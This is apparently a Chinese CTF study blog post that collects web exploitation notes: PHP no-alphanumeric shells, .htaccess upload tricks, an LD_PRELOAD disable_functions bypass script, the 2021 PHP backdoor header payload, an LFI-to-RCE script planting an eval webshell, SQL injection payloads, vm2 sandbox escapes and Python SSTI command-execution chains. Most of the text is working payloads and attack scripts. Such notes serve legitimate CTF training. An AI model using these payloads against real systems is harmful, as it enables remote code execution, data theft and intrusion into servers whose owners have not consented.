• ctf解题知识点记录(持续更新)


    一、无数字字母shell

    利用到的PHP特性:

    1、代码中没有引号的字符都自动作为字符串

    PHP的经典特性“Use of undefined constant”,会将代码中没有引号的字符都自动作为字符串,7.2开始提出要被废弃,不过目前还存在着。可以理解为$_GET['cmd'] = $_GET[cmd],目前PHP8版本尚未测试是否能用

    2、使Ascii码大于Ox7F的字符都会被当作字符串

    3、PHP在获取HTTP GET参数的时候默认是获得到了字符串类型

    4、PHP中的的大括号(花括号}使用详解

    在字符串的变量的后面跟上{}大括号或者中括号[],里面填写了数字,这里是把字符串变量当成数组处理,可以理解为${_GET}{cmd} = $_GET['cmd'] = $_GET[cmd]

    5、字符串可以用!操作符来进行布尔类型的转换

    <?php
    var_dump(@a);   //string(1) "a"
    var_dump(!@a);  //bool(false)
    var_dump(!!@a); //bool(true)
    

    6、PHP弱类型特性

    PHP由于弱类型这个特性,true的值为1,所以true+ture=2

    7、自增性

    在受到限制的时候,可以通过自增获得自己想要的字符'a'++ => 'b','b'++ => 'c'

    二、文件上传

    1、利用.htaccess上传文件

    • <?被过滤时,用伪协议绕过,上传时上传base64编码过的文件
    AddType application/x-httpd-php .xxx
    php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.xxx"
    

    意思是将后缀.xxx的文件当作php文件进行执行。

    三、绕过open_basedir/disable_function的几种方法

    • 参考链接:

    bypass open_basedir的新方法

    通过chdir来bypass open_basedir

    php5全版本绕过open_basedir读文件脚本

    无需sendmail:巧用LD_PRELOAD突破disable_functions

    disable_function绕过--利用LD_PRELOAD

    bypass_disablefunc_via_LD_PRELOAD

    1、chdir绕过

    <?php
    mkdir('xxx');
    chdir('xxx');
    ini_set('open_basedir','..');
    chdir('..');
    chdir('..');
    chdir('..');
    chdir('..');
    ini_set('open_basedir','/');
    echo(file_get_contents('flag'));
    ?>
    

    2、链接文件绕过

    PHP5版本可用

    3、disable_function绕过--利用LD_PRELOAD

    条件:PHP 支持putenv()和下面用到的函数

    <?php
        echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
    
        $cmd = $_GET["cmd"];
        $out_path = $_GET["outpath"];
        $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
        echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    
        putenv("EVIL_CMDLINE=" . $evil_cmdline);
    
        $so_path = $_GET["sopath"];
        putenv("LD_PRELOAD=" . $so_path);
    
        mail("", "", "", "");
        //error_log("err",1,"","");
        //$img = Imagick("1.mp4");//如果有ImageMagick这个扩展(文件必须存在)
        //imap_mail("","","");//需要安装imap拓展
        //mb_send_mail("","","");
    
        echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 
    
        unlink($out_path);
    ?>
    

    四、常见RCE

    1、北京时间2021.3.29,git.php.net服务器遭到黑客攻陷,php源码被黑客植入后门。

    改包头:

    payload:User-Agentt: zerodiumsystem('cat /flag');

    2、本地文件包含RCE

    php7 segment fault特性

    php://filter/string.strip_tags=/etc/passwd
    php执行过程中出现 Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除

    payload:(例题:[NPUCTF2020]ezinclude)

    import requests
    from io import BytesIO
    
    payload = "<?php eval($_POST[cmd])?>;"
    file_data={
    	'file': BytesIO(payload.encode())
    }
    url="http://588b9bf7-3c49-41b6-93e3-823b74ef67bf.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
    try:
    	r=requests.post(url=url,files=file_data,allow_redirects=False)
    except:
            print(False)
    

    LFIroRCE总结

    文件包含&奇技淫巧

    五、SQL注入

    1、md5绕过

    查询语句:SELECT * FROM users WHERE password ='".md5($password,true)."' limit 0,1

    payload:password=12958192621165157191246674165187868 或 password=ffifdyop

    2、regexp注入

    用于逐字符注出:(NCTF2019—SQLi)

    payload:name(表名或字段名) regexp '^[a-zA-Z0-9]'(这里需要爆破字符)

    3、用于闭合引号的注释符

    #  
    --+
    --
    ;%00
    /**/
    `
    

    4、mysql中点引号( ' )和反勾号( ` )的区别

    linux下不区分,windows下区分
    区别:
    单引号( ' )或双引号主要用于字符串的引用符号
    eg:mysql> SELECT 'hello', "hello" ;
    
    反勾号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
    eg:`mysql>SELECT * FROM   `table`   WHERE `from` = 'abc' ;
    

    5、堆叠注入

    (1)改数据表

    运用:(2021虎符WEB—“慢慢做”管理系统)

    paylaod:';use ctf2;rename table `fake_admin` to `test`;rename table `real_admin_here_do_you_find` to `fake_admin`;
    
    (2)预处理语句

    关于MySQL中的预处理语句原理与使用,这篇文章讲解的比较详细:MySQL的SQL预处理(Prepared)。本题中由于可以使用堆叠查询,并且需要使用SELECT关键字并绕过过滤,因此想到利用字符串转换与拼接构造语句最后执行,这时就可以使用预处理语句。

    预处理语句使用方式:

    PREPARE sqla from '[my sql sequece]';   //预定义SQL语句
    EXECUTE sqla;  //执行预定义SQL语句
    (DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句
    

    预定义语句也可以通过变量进行传递,比如:

    SET @tn = 'hahaha';  //存储表名
    SET @sql = concat('select * from ', @tn);  //存储SQL语句
    PREPARE sqla from @sql;   //预定义SQL语句
    EXECUTE sqla;  //执行预定义SQL语句
    (DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句
    

    运用:(Web-随便注)

    paylaod:';SET @sql=concat(char(115,101,108,101,99,116)," * from `table_name`");PREPARE sqla from @sql;EXECUTE sqla;#
    

    六、nodejs

    1、绕过关键字过滤(prototype、process等)

    (1)拼接绕过
    f.constructor("return process")();
    等价于
    f[[c,o,n,s,t,r,u,c,t,o,r]join]([r,e,t,u,r,n,,p,r,o,c,e,s,s]join)();
    
    (2)结合数组调用绕过
    `${`${`prototyp`}e`}` == prototype
    

    2、vm2沙盒逃逸([HFCTF2020]JustEscape)

    方法一:

    "use strict";
    const {VM} = require('vm2');
    const untrusted = '(' + function(){
        TypeError.prototype.get_process = f=>f.constructor("return process")();
        try{
            Object.preventExtensions(Buffer.from("")).a = 1;
        }catch(e){
            return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
        }
    }+')()';
    try{
        console.log(new VM().run(untrusted));
    }catch(x){
        console.log(x);
    }
    

    方法二:

    "use strict";
    const {VM} = require('vm2');
    const untrusted = '(' + function(){
        try{
            Buffer.from(new Proxy({}, {
                getOwnPropertyDescriptor(){
                    throw f=>f.constructor("return process")();
                }
            }));
        }catch(e){
            return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
        }
    }+')()';
    try{
        console.log(new VM().run(untrusted));
    }catch(x){
        console.log(x);
    }
    

    七、SSTI

    PYTHON

    1、各种payload

    命令执行

    <class 'warnings.catch_warnings'>

    ''.__class__.__mro__[1].__subclasses__()[135].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")
    

    <class 'subprocess.Popen'>

    {{''.__class__.__mro__[1].__subclasses__()[437]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
    

    <class '_frozen_importlib._ModuleLock'>

    #eval
    ''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
    
    ''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")
    
    #__import__
    ''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()
    
    ''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()
    

    其他利用方法(os.system执行成功的返回值为0)

    #万金油,必会
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
    
    #<class '_frozen_importlib_external.FileFinder'>
    ().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].system("ls")
    
    #<class 'codecs.StreamReaderWriter'>
    ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")
    
    #<class 'os._wrap_close'>
    [].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')
    ().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')
    
    <class 'traceback.FrameSummary'>
    {{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read()}}
    
    文件读取

    <class '_frozen_importlib._ModuleLock'>

    {{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('test.txt').read()}}
    

    <class 'click.utils.LazyFile'>

    {{ ''.__class__.__mro__[1].__subclasses__()[341]('test.txt').read()}}
    

    <class 'warnings.catch_warnings'>

    {{''.__class__.__mro__[1].__subclasses__()[135].__init__.__globals__['__builtins__'].open('test.txt','r').read()}}
    

    <class 'codecs.IncrementalEncoder'>

    {{{}.__class__.__mro__[1].__subclasses__()[103].__init__.__globals__['open']('test.txt').read()}}
    

    2、部分过滤绕过

    函数名被过滤——用+号拼接,例如:'po'+'pen' = 'popen'

    关键字符被过滤——使用编码绕过

    连接的.被过滤——用|attr进行拼接,例如:attr("x5fx5fclassx5fx5f")|attr("x5Fx5Fbasesx5Fx5F") = __class__.__bases__

    包裹的{{ }}被过滤——用{% %}绕过

    RUBY

    Ruby ERB模板注入

    Ruby 预定义变量

    payload

    <%= 7 * 7 %>
    

    例题:[SCTF2019]Flag Shop

    八、反序列化

    PHP

    魔术方法

    __get
    当对象调用不可访问属性时,就会自动触发get魔法方法。

    __call
    在对象调用不可访问函数时,就会自动触发call魔法方法。

    __construct
    当对象被创建的时候调用。

    __destruct
    当对象被销毁的时候调用。

    __toString
    当对象被当作一个字符串使用时候调用(不仅仅是echo的时候,比如file_exists()判断也会触发)。

    __sleep
    序列化对象之前就调用此方法(其返回需要是一个数组)。

    __wakeup
    反序列化恢复对象之前就调用此方法。

    __call
    当调用对象中不存在的方法会自动调用此方法。

    • SoapClient
    这个也算是目前被挖掘出来最好用的一个内置类,php5、7都存在此类,可以利用SoapClient中的__call方法进行SSRF。
    原文地址:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label1_0
    

    字符逃逸

    function safe($parm)
    {
        $array = array('union', 'regexp', 'load', 'into', 'flag', 'file', 'insert', "'", '\', "*", "alter");
        return str_replace($array, 'hacker', $parm);
    }
    

    问题就出在这里,该函数对字符串进行了一些替换,但是替换前后字符串长度可能发生变化,比如将union替换为hacker增加了一个字符,于是我们可以利用这个漏洞将我们的序列化字符串逃逸出来。如果不这样做,payload就会当作一个普通字符串,而不是序列化里的内容。

    杂项

    哈希长度拓展攻击

    哈希长度扩展攻击的简介以及HashPump安装使用方法

    payload:(例题:[NPUCTF2020]ezinclude)

    import os
    import requests
    for i in range(1,12):
        data=os.popen('hashpump -s fa25e54758d5d5c1927781a6ede89f8a -d admin -k '+str(i)+' -a admin').read()
        name=data.split('
    ')[0]
        password=data.split('
    ')[1].replace('\x','%')
        result=requests.get('http://c1952ab8-b389-4d44-b2b5-07020d9d4886.node3.buuoj.cn/?name='+password+'&pass='+name).text
        print(result)
    

    PHP根据随机数预测种子

    php_mt_rand 工具只能用于爆破mt_rand()函数产生的随机数的种子值, 无论是否显式调用mt_srand()函数播种,但不能用于mt_rand(1,1000)这种指定范围的和rand函数的爆破
    

    例题:[MRCTF2020]Ezaudit

  • 相关阅读:
    每日总结2021.9.14
    jar包下载mvn
    每日总结EL表达语言 JSTL标签
    每日学习总结之数据中台概述
    Server Tomcat v9.0 Server at localhost failed to start
    Server Tomcat v9.0 Server at localhost failed to start(2)
    链表 java
    MVC 中用JS跳转窗体Window.Location.href
    Oracle 关键字
    MVC 配置路由 反复走控制其中的action (int?)
  • 原文地址:https://www.cnblogs.com/MisakaYuii-Z/p/14634926.html
Copyright © 2020-2023  润新知